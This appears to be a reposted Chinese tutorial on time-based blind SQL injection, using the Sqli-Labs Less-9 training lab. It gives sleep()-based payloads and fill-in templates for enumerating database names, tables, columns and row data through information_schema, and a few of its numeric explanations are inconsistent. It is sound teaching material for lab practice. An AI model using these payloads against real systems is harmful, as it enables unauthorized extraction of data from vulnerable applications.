SQL注入-时间盲注

SQL时间盲注(Time-based Blind SQL Injection),又叫延时注入,是一种SQL注入攻击技术,用于在无法直接获取查询结果或查看响应内容变化的情况下,通过引入时间延迟来推断数据库的信息;时间盲注依赖于数据库执行查询时的时间延迟,通过观察响应时间的变化,攻击者可以推测出查询结果。

这里以Sqli-Labs靶场的Less-9关卡为例子来阐述时间盲注的具体思路:

进入关卡首先构建参数id,并传入对应数据,可以发现无论传入的数据是什么,是正确还是错误,回显始终是一样的,说明此时布尔盲注是不管用的,这个时候就可以尝试使用时间注入。

1.判断是否存在注入漏洞

因为通过回显无法判断正确还是错误;所以此时需要使用mysql中的sleep()函数来判断此处是否存在注入漏洞;SLEEP() 函数在 MySQL 中用于引入延迟,它使查询在执行时暂停指定的秒数;此时可以构造语句:

1 and sleep(5)      //整型
1' and sleep(5) --+  //字符型,单引号闭合
1” and sleep(5) --+  //字符型,双引号闭合

在一切未知的情况下我们只能一个一个语句进行尝试,但是由于此时环境位渗透靶场,我们可以根据网站源码来进行理解(单引号闭合):

此时完整请求代码:

SELECT * FROM users WHERE id='1' and sleep(5) --+' LIMIT 0,1

SLEEP(5) 函数使查询延迟5秒执行。如果这一部分被成功注入并执行,服务器的响应时间将增加5秒。

语句执行结果:

发生延时,证明存在注入漏洞,且注入类型为字符型注入使用单引号闭合。

接下去的注入的过程的核心函数if()函数;MySQL的IF函数用于执行条件判断,在满足某个条件时返回一个值,否则返回另一个值。其基本语法如下:

IF(condition, true_value, false_value)
  • condition: 需要评估的条件表达式。如果条件为真,则返回true_value

  • true_value: 如果条件为真,函数返回的值。

  • false_value: 如果条件为假,函数返回的值。

接下去的核心语句if(查询语句,sleep(5),1);即如果我们的查询语句为真,那么过5秒之后返回页面;如果我们的查询语句为假,那么直接返回结果。所以我们就根据返回页面的时间长短来判断我们的查询语句是否执行正确。后续的步骤与布尔盲注基本一致。

2.判断数据库名的长度:

此时我们可以结合布尔盲注的语句进行语句构造:

1' and if(length(database())=4,sleep(5),1) --+ 

此时带入源码中的数据请求sql语句来理解:

SELECT * FROM users WHERE id='1' and if(length(database())=4,sleep(5),1) --+ ' LIMIT 0,1
  • LENGTH(database())=4:检查当前数据库名称的长度是否为4。

  • SLEEP(5):如果数据库名称的长度为4,则使查询延迟5秒执行。

  • 1:如果数据库名称的长度不为4,则返回1,即条件为真。

判断数据库名长度的模板:

key' and if(length(database())=长度数据,sleep(5),1) --+ 

此处可以结合burpsuite进行数据库长度爆破。

3.判断数据库名

构造语句:

1' and if(ascii(substr(database(),1,1)) = 90,sleep(5),1) --+ 

带入程序中的查询进行理解:

SELECT * FROM users WHERE id='1' and if(ascii(substr(database(),1,1)) = 90,sleep(5),1) --+ ' LIMIT 0,1
  • SUBSTR(database(), 1, 1):获取当前数据库名称的第一个字符。

  • ASCII(SUBSTR(database(), 1, 1)) = 90:检查该字符的ASCII码是否为90。

  • SLEEP(5):如果条件为真,则使查询延迟5秒执行。

  • 1:如果条件为假,则立即返回1。

模板:

key' and if(ascii(substr(database(),1~数据库名长度,1)) = ascii码,sleep(5),1) --+ 

得到数据库名为:"security"

4.推测数据库中的表信息
1)猜表的数量

构造语句:

1' and if((select count(table_name) from information_schema.tables where table_schema='security') = 4 ,sleep(5),1) --+ 

带入程序中的查询进行理解:

SELECT * FROM users WHERE id='1' and if((select count(table_name) from information_schema.tables where table_schema="security") = 4 ,sleep(5),1) --+ ' LIMIT 0,1
  • (SELECT COUNT(table_name) FROM information_schema.tables WHERE table_schema='security') = 2:检查 security 数据库中的表数量是否为2。

  • SLEEP(5):如果条件为真,则使查询延迟5秒执行。

  • 1:如果条件为假,则立即返回1。

模板:

key' and if((select count(table_name) from information_schema.tables where table_schema='数据库名') = 表的数量 ,sleep(5),1) --+ 

最后可以得到表的数量为4。

2)猜表的名称的长度

此时可以构建语句进行测试:

1' and if(length(substr((select table_name from information_schema.tables where table_schema="security" limit 0,1),1)) = 6 ,sleep(5),1) --+ 

结合程序语句理解:

SELECT * FROM users WHERE id='1' and if(length(substr((select table_name from information_schema.tables where table_schema="security" limit 0,1),1)) = 6 ,sleep(5),1) --+ ' LIMIT 0,1
  • (SELECT table_name FROM information_schema.tables WHERE table_schema="security" LIMIT 0,1): 从 security 数据库中获取第一个表名。

  • SUBSTR(..., 1): 获取该表名的第一个字符(从位置1开始)。

  • LENGTH(...): 计算表名的长度。

  • IF(... = 6, SLEEP(5), 1): 如果长度为6,则使查询延迟5秒执行;否则立即返回1。

模板:

key' and if(length(substr((select table_name from information_schema.tables where table_schema="数据库名" limit 0~表的个数-1,1),1)) = 6 ,sleep(5),1) --+ 

3)猜表的名称

此处猜测表的名称与上述猜数据库名一样即可;也是每张表名一个字符一个字符的猜:猜对回显正常,猜错回显异常。

1' and if(ascii(substr((select table_name from information_schema.tables where table_schema="security" limit 0,1),1,1)) = 101 ,sleep(5),1) --+ 

结合程序语句:

SELECT * FROM users WHERE id='1' and if(ascii(substr((select table_name from information_schema.tables where table_schema="security" limit 0,1),1,1)) = 101 ,sleep(5),1) --+ ' LIMIT 0,1
  • (SELECT table_name FROM information_schema.tables WHERE table_schema='security' LIMIT 0,1): 从 security 数据库中获取第一个表名。

  • SUBSTR(..., 1, 1): 获取该表名的第一个字符(从位置1开始,长度为1)。

  • ASCII(...): 计算该字符的 ASCII 码。

  • IF(... = 103, SLEEP(5), 1): 如果 ASCII 码为 101(即字符 'e'),则使查询延迟 5 秒执行;否则立即返回 1。

模板:

key' and if(ascii(substr((select table_name from information_schema.tables where table_schema="数据库名" limit 0~表的个数-1,1),1~表的字符长度,1)) = Ascii码 ,sleep(5),1) --+ 

此处可以得到第一个表的名称为emails

5.推测数据列信息

此步也分为几个小步骤:猜列的数量–>猜列的长度–>列的名称;方法与上述求表一致只不过需要改一下指定的表以及限定要读取的表即可;以下为模板套着用就好了。

1)猜列的数量(需要用到上述得到的表名)
1' and if((select count(column_name) from information_schema.columns where table_schema='security' and table_name='emails')=2 ,sleep(5),1) --+ 

结合程序理解:

SELECT * FROM users WHERE id='1' and if((select count(column_name) from information_schema.columns where table_schema='security' and table_name='emails')=2 ,sleep(5),1) --+ ' LIMIT 0,1
  • (SELECT COUNT(column_name) FROM information_schema.columns WHERE table_schema='security' AND table_name='emails'): 从 security 数据库的 emails 表中获取列的数量。

  • IF(... = 2, SLEEP(5), 1): 如果列数量为2,则使查询延迟5秒执行;否则立即返回1。

模板:

1' and if((select count(column_name) from information_schema.columns where table_schema=数据库名 and table_name=表名)=2 ,sleep(5),1) --+ 

2)猜列名的长度(需要用到表名、获取的列的数量)

构造语句:(猜测第一张表中的第一个列的长度)

1' and if(length(substr((select column_name from information_schema.columns where table_schema='security' and table_name='emails' limit 0,1 ),1))=2 ,sleep(5),1) --+ 

结合程序中的语句:

SELECT * FROM users WHERE id='1' and if(length(substr((select column_name from information_schema.columns where table_schema='security' and table_name='emails' limit 0,1 ),1))=2 ,sleep(5),1) --+ ' LIMIT 0,1

(SELECT column_name FROM information_schema.columns WHERE table_schema='security' AND table_name='emails' LIMIT 0,1): 从 security 数据库的 emails 表中获取第一个列名。

SUBSTR(..., 1): 获取该列名的第一个字符(从位置1开始)。

LENGTH(...): 计算列名的长度。

IF(... = 2, SLEEP(5), 1): 如果长度为2,则使查询延迟5秒执行;否则立即返回1。

模板:

1' and if(length(substr((select column_name from information_schema.columns where table_schema='数据库名' and table_name='表名' limit 0~列数-1,1 ),1))=列名长度 ,sleep(5),1) --+ 

3)列的名称(需要用到表名、获取的列的数量、列名的长度)

构造语句:

1' and if(ascii(substr((select column_name from information_schema.columns where table_schema='security' and table_name='emails' limit 0,1 ),1,1))=105,sleep(5),1) --+ 

带入程序理解:

SELECT * FROM users WHERE id='1' and if(ascii(substr((select column_name from information_schema.columns where table_schema='security' and table_name='emails' limit 0,1 ),1,1))=105,sleep(5),1) --+ ' LIMIT 0,1
  • (SELECT column_name FROM information_schema.columns WHERE table_schema='security' AND table_name='emails' LIMIT 0,1): 从 security 数据库的 emails 表中获取第一个列名。

  • SUBSTR(..., 1, 1): 获取该列名的第一个字符(从位置1开始,长度为1)。

  • ASCII(...): 计算该字符的 ASCII 码。

  • IF(... = 105, SLEEP(5), 1): 如果 ASCII 码为 105(即字符 'i'),则使查询延迟5秒执行;否则立即返回1。

模板:

1' and if(ascii(substr((select column_name from information_schema.columns where table_schema='数据库' and table_name='表' limit 0~列数-1,1 ),1~列名长度,1))=ASCII码,sleep(5),1) --+ 

此处可以得到一个列名id

6.推测数据
1)猜测当前数据的长度

具体思路与上述一样,直接上模板

1' and if(length(substr((select id from emails limit 0,1 ),1))=1 ,sleep(5),1) --+ 

带入程序:

SELECT * FROM users WHERE id='1' and if(length(substr((select id from emails limit 0,1 ),1))=1 ,sleep(5),1) --+ ' LIMIT 0,1
  • (SELECT id FROM emails LIMIT 0,1): 从 emails 表中获取第一个 id 值。

  • SUBSTR(..., 1): 获取该 id 值的第一个字符(从位置1开始)。

  • LENGTH(...): 计算 id 值的长度。

  • IF(... = 1, SLEEP(5), 1): 如果长度为1,则使查询延迟5秒执行;否则立即返回1。

模板:

1' and if(length(substr((select 列名 from 表名 limit 0~列的个数,1 ),1))=数据长度 ,sleep(5),1) --+ 

2)猜测当前数据

构造语句:

1' and if(ascii(substr((select id from emails limit 0,1),1,1))=49 ,sleep(5),1) --+ 

带入语句理解:

SELECT * FROM users WHERE id='1' and if(ascii(substr((select id from emails limit 0,1),1,1))=49 ,sleep(5),1) --+ ' LIMIT 0,1
  • (SELECT id FROM emails LIMIT 0,1): 从 emails 表中获取第一个 id 值。

  • SUBSTR(...,1,1): 获取该 id 值的第一个字符(从位置1开始,长度为1)。

  • ASCII(...): 计算该字符的 ASCII 码。

  • IF(...=49, SLEEP(5), 1): 如果 ASCII 码为49(即字符 '1'),则使查询延迟5秒执行;否则立即返回1。

模板:

1' and if(ascii(substr((select 列名 from 表名 limit 0~数据个数-1,1),1~数据名称长度,1))=49 ,sleep(5),1) --+ 

数据个数无需单独测试,从0开始往大了测即可,若数值大于数据个数则回显自然就不正常(即未延时)。

至此就是时间盲注的过程与思路。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mfbz.cn/a/673762.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

UE 熟悉引擎

项目文件 模式: 参考视频:【基础】01课:创建项目全流程和模板试玩_哔哩哔哩_bilibili

YOLOv1深入解析与实战:目标检测算法原理

参考: https://zhuanlan.zhihu.com/p/667046384 https://blog.csdn.net/weixin_41424926/article/details/105383064 https://arxiv.org/pdf/1506.02640 1. 算法介绍 学习目标检测算法,yolov1是必看内容,不同于生成模型,没有特别…

计算机毕业设计 | 基于Koa+vue的高校宿舍管理系统宿舍可视化系统

项目介绍 项目背景 随着科技的发展,智能化管理越来越重要。大学生在宿舍的时间超过了1/3,因此良好的宿舍管理对学生的生活和学习极为关键。学生宿舍管理系统能够合理安排新生分配宿舍,不浪费公共资源,减轻学校管理压力&#xff…

[极速版]写个linux探测自己机器ip地址的tool(基于shell + sshpass)

背景:那个房间没有能正常上广域网的网口,就用了个无线中继 适用情况:上级路由ssh or teamviewer访问下级路由的机器,但下级路由不支持查看IP 自行完成下级路由(此处指无线中继)的端口映射or DMZ整机映射 a…

Codeforces Round 949 D. Turtle and Multiplication 【欧拉路径】

题意 要求构造一个长度为 n n n 的序列 a a a&#xff0c;使得&#xff1a; ∀ i ∈ [ 1 , n ] , 1 ≤ a i ≤ 3 ⋅ 1 0 5 \forall i \in [1,n], \; 1 \leq a_i \leq 3 \cdot 10^5 ∀i∈[1,n],1≤ai​≤3⋅105 ∀ 1 ≤ i < j ≤ n − 1 , a i ⋅ a i 1 ≠ a j ⋅ a j 1…

Java筑基-面向对象

Java-面向对象 一、类和对象1、类和对象的关系2、创建类3、创建对象4、成员变量与局部变量5、构造器5.1、创建对象的过程5.2、构造器的格式5.3、构造器和方法的区别5.4、构造器的作用5.5、构造器的重载 6、this关键字用法&#xff1a;6.1、this可以修饰属性6.2、this可以修饰方…

每日一题——Python实现PAT甲级1046 Shortest Distance(举一反三+思想解读+逐步优化)

一个认为一切根源都是“自己不够强”的INTJ 个人主页&#xff1a;用哲学编程-CSDN博客专栏&#xff1a;每日一题——举一反三Python编程学习Python内置函数 Python-3.12.0文档解读 目录 我的写法 专业点评 优点 改进建议 时间复杂度分析 空间复杂度分析 总结 我要更…

第一篇【传奇开心果系列】AI工业应用经典算法和Python示例:基于AI的智能制造技术经典算法与Python实践

传奇开心果博文系列 系列博文目录AI工业应用经典算法和Python示例系列 博文目录前言一、AI在智能制造方面的应用场景介绍二、基于AI的智能制造技术经典算法介绍三、支持向量机机器学习算法Python示例代码四、随机森林机器学习算法Python示例代码五、深度学习算法Python示例代码…

HTML5常用标签表单from

form表单标签 <!-- form表单其实就是一种&#xff1a;客户端和服务端数据交流一种方式机制。1&#xff1a; 服务端&#xff0c;提供数据接受地址&#xff08;gin/beego/inris&#xff09;比如&#xff1a;http://localhost:8080/toLogin2: 因为浏览器&#xff0c;在提交数据…

sql server数据库连接不上

我遇到了一个问题&#xff0c;本地sql server怎么都连接不了 我按照网上的方法都试了一遍&#xff0c;发现都错了 后来我把tcp/ip禁用了就好了 或者说把tcp/ip改成动态端口 之后需要重启sql server&#xff0c;右键选中的地方&#xff0c;重启

C++ 左值、右值、左值引用、右值引用

前言 本文介绍C11的各种引用的概念&#xff0c;理解清楚各种引用的概念&#xff0c;非常有助于理解基于c11引用的各种操作。 左右值概念 C 里有左值和右值&#xff0c;但C按标准里的定义实际更复杂&#xff0c;规定了下面这些值类别&#xff08;value categories&#xff09…

使用busybox快速创建rootfs系统(硬件:atk-dl6y2c)

目录 概述 1 编译busybox 1.1 配置Makefile 1.2 需改参数 1.3 配置busybox 1.4 编译busybox 2 完善 rootfs下文件 2.1 rootfs 的“/lib”目录添加库文件 2.2 rootfs 的“usr/lib”目录添加库文件 2.3 创建其他目录 3 完善其他文件 3.1 完善etc/init.d/rcS 3.2 完善…

11.4 插入排序

目录 11.4 插入排序 11.4.1 算法流程 11.4.2 算法特性 11.4.3 插入排序的优势 11.4 插入排序 插入排序&#xff08;insertion sort&#xff09;是一种简单的排序算法&#xff0c;它的工作原理与手动整理一副牌的过程非常相似。 具体来说&#xff0c;我们在未排…

片上电控系统集成技术

一、背景 片上电机控制系统集成技术&#xff08;On-Chip Motor Control System Integration&#xff09;是一种先进的电子工程技术&#xff0c;它主要聚焦于将复杂的电机控制算法和硬件组件整合到单一集成电路&#xff08;IC&#xff09;中&#xff0c;以便于高效、精确地管理…

C基础-标准库下

上:http://t.csdnimg.cn/qj5uA 目录 七. math.h 八. setjmp.h 九. signal.h 十. stdarg.h 十一.stddef.h 十二. stdio.h 十三. stdlib. 十四. string.h 十五. time.h 七. math.h 定义了各种数学函数和一个宏。 宏和函数描述 序号宏 & 描述1HUGE_VAL 当函数的结…

C++11 lambda表达式和包装器

C11 lambda表达式和包装器 一.lambda表达式1.lambda表达式的引入2.基本语法和使用1.基本语法2.使用1.传值捕捉的错误之处2.传引用捕捉 3.lambda表达式的底层原理4.lambda的特殊之处5.lambda配合decltype的新玩法 二.function包装器1.概念2.包装函数1.包装普通函数2.包装成员函数…

【Oracle篇】rman全库异机恢复:从RAC环境到单机测试环境的转移(第四篇,总共八篇)

&#x1f4ab;《博主介绍》&#xff1a;✨又是一天没白过&#xff0c;我是奈斯&#xff0c;DBA一名✨ &#x1f4ab;《擅长领域》&#xff1a;✌️擅长Oracle、MySQL、SQLserver、阿里云AnalyticDB for MySQL(分布式数据仓库)、Linux&#xff0c;也在扩展大数据方向的知识面✌️…

odoo10 编写审批拒绝弹窗

前言 在日常中有很多审批场景&#xff0c;例如请销假。审批拒绝的时候应该给出原因&#xff0c;此时&#xff0c;在form界面点击拒绝的时候应该弹出输入窗口。如下图所示。 编写模型 模块的目录下&#xff0c;新建wizard文件夹&#xff0c;然后直接创建一个models.py和views.p…

idea实用快捷键(持续更新...)

文章目录 1、快速输入try/catch/finally2、选中多个光标3、实现接口4、方法参数提示5、查看某个类的子类6、弹出显示查找内容的搜索框 1、快速输入try/catch/finally CtrlAltT 2、选中多个光标 ShiftAlt单机多选 End可以全部到行尾&#xff0c;Home则可以全部回到行首 3、实现接…

MySQL 使用方法以及教程

一、引言 MySQL是一个流行的开源关系型数据库管理系统&#xff08;RDBMS&#xff09;&#xff0c;广泛应用于Web开发、数据分析等领域。它提供了高效、稳定的数据存储和查询功能。同时&#xff0c;Python作为一种强大的编程语言&#xff0c;也提供了多种与MySQL交互的库&#…